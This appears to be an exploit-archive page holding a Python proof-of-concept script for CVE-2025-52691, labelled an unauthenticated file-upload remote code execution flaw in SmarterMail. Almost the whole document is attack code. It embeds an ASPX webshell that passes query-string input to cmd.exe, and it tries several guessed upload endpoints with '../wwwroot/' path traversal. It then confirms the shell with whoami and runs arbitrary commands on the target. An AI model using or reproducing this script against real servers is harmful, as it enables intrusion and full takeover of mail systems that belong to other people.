4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import sys
import argparse
import requests
import uuid
import base64
from typing import Optional, Tuple
from dataclasses import dataclass
from enum import Enum
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


class ExploitResult(Enum):
    SUCCESS = "success"
    SHELL_UPLOADED = "shell_uploaded"
    FAILED = "failed"
    ERROR = "error"


@dataclass 
class TargetConfig:
    base_url: str
    timeout: int = 30
    verify_ssl: bool = False


class SmarterMailExploit:
    
    UPLOAD_ENDPOINTS = [
        "/api/upload",
        "/api/v1/upload",
        "/Interface/Frmx/UploadFile.aspx",
        "/MRS/Upload.ashx",
        "/Services/Upload.ashx"
    ]
    
    ASPX_WEBSHELL = """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
    string c = Request.QueryString["cmd"];
    if (!string.IsNullOrEmpty(c)) {
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + c;
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        Process p = Process.Start(psi);
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
        p.WaitForExit();
    }
}
</script>"""

    def __init__(self, config: TargetConfig):
        self.config = config
        self.session = requests.Session()
        self.shell_name = None
        self.shell_path = None
    
    def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]:
        url = f"{self.config.base_url}{endpoint}"
        kwargs.setdefault("timeout", self.config.timeout)
        kwargs.setdefault("verify", self.config.verify_ssl)
        
        try:
            return self.session.request(method, url, **kwargs)
        except requests.exceptions.RequestException:
            return None
    
    def check_alive(self) -> bool:
        response = self._request("GET", "/")
        return response is not None
    
    def generate_shell_name(self) -> str:
        return f"{uuid.uuid4().hex[:8]}.aspx"
    
    def upload_shell_multipart(self, endpoint: str, shell_content: str, filename: str) -> bool:
        files = {
            "file": (filename, shell_content, "application/octet-stream")
        }
        
        data = {
            "path": "../wwwroot/",
            "folder": "../wwwroot/",
            "directory": "../wwwroot/"
        }
        
        response = self._request("POST", endpoint, files=files, data=data)
        
        if response and response.status_code in [200, 201, 204]:
            return True
        
        return False
    
    def upload_shell_raw(self, endpoint: str, shell_content: str, filename: str) -> bool:
        headers = {
            "Content-Type": "application/octet-stream",
            "X-Filename": filename,
            "X-Path": "../wwwroot/"
        }
        
        response = self._request("POST", endpoint, data=shell_content.encode(), headers=headers)
        
        if response and response.status_code in [200, 201, 204]:
            return True
        
        return False
    
    def upload_shell_json(self, endpoint: str, shell_content: str, filename: str) -> bool:
        payload = {
            "filename": filename,
            "content": base64.b64encode(shell_content.encode()).decode(),
            "path": "../wwwroot/",
            "overwrite": True
        }
        
        headers = {"Content-Type": "application/json"}
        
        response = self._request("POST", endpoint, json=payload, headers=headers)
        
        if response and response.status_code in [200, 201, 204]:
            return True
        
        return False
    
    def verify_shell(self, shell_name: str) -> Tuple[bool, str]:
        paths = [
            f"/{shell_name}",
            f"/wwwroot/{shell_name}",
            f"/Interface/{shell_name}",
            f"/MRS/{shell_name}"
        ]
        
        for path in paths:
            response = self._request("GET", f"{path}?cmd=whoami")
            if response and response.status_code == 200:
                if "pre" in response.text.lower() or "\\" in response.text:
                    return True, path
        
        return False, ""
    
    def execute_command(self, command: str) -> Optional[str]:
        if not self.shell_path:
            return None
        
        response = self._request("GET", f"{self.shell_path}?cmd={command}")
        
        if response and response.status_code == 200:
            import re
            match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
            if match:
                return match.group(1).strip()
            return response.text
        
        return None
    
    def exploit(self) -> ExploitResult:
        if not self.check_alive():
            return ExploitResult.ERROR
        
        self.shell_name = self.generate_shell_name()
        
        for endpoint in self.UPLOAD_ENDPOINTS:
            upload_methods = [
                self.upload_shell_multipart,
                self.upload_shell_raw,
                self.upload_shell_json
            ]
            
            for upload_method in upload_methods:
                try:
                    if upload_method(endpoint, self.ASPX_WEBSHELL, self.shell_name):
                        success, path = self.verify_shell(self.shell_name)
                        if success:
                            self.shell_path = path
                            return ExploitResult.SHELL_UPLOADED
                except Exception:
                    continue
        
        success, path = self.verify_shell(self.shell_name)
        if success:
            self.shell_path = path
            return ExploitResult.SHELL_UPLOADED
        
        return ExploitResult.FAILED


def parse_arguments() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="CVE-2025-52691: SmarterMail Arbitrary File Upload RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument("target", help="Target URL (e.g., http://mail.example.com)")
    parser.add_argument("-c", "--command", help="Command to execute after upload")
    parser.add_argument("-t", "--timeout", type=int, default=30, help="Request timeout")
    parser.add_argument("--check-only", action="store_true", help="Only check if target is alive")
    
    return parser.parse_args()


def main() -> int:
    args = parse_arguments()
    
    base_url = args.target.rstrip("/")
    if not base_url.startswith("http"):
        base_url = f"https://{base_url}"
    
    config = TargetConfig(base_url=base_url, timeout=args.timeout)
    exploit = SmarterMailExploit(config)
    
    print(f"\n[*] Target: {config.base_url}")
    print(f"[*] CVE-2025-52691: SmarterMail Arbitrary File Upload RCE\n")
    
    if not exploit.check_alive():
        print("[-] Target is not reachable")
        return 1
    
    print("[+] Target is alive")
    
    if args.check_only:
        print("[*] Check only mode - target appears to be SmarterMail")
        return 0
    
    print("[*] Attempting unauthenticated file upload...")
    print(f"[*] Shell name: {exploit.shell_name or exploit.generate_shell_name()}")
    
    result = exploit.exploit()
    
    if result == ExploitResult.SHELL_UPLOADED:
        print(f"\n[!] WEBSHELL UPLOADED SUCCESSFULLY")
        print(f"[+] Shell path: {exploit.shell_path}")
        print(f"[+] Access: {config.base_url}{exploit.shell_path}?cmd=<command>")
        
        if args.command:
            print(f"\n[*] Executing: {args.command}")
            output = exploit.execute_command(args.command)
            if output:
                print(f"[+] Output:\n{output}")
        
        return 0
    
    else:
        print("[-] Exploit failed - target may be patched or different version")
        return 1


if __name__ == "__main__":
    sys.exit(main())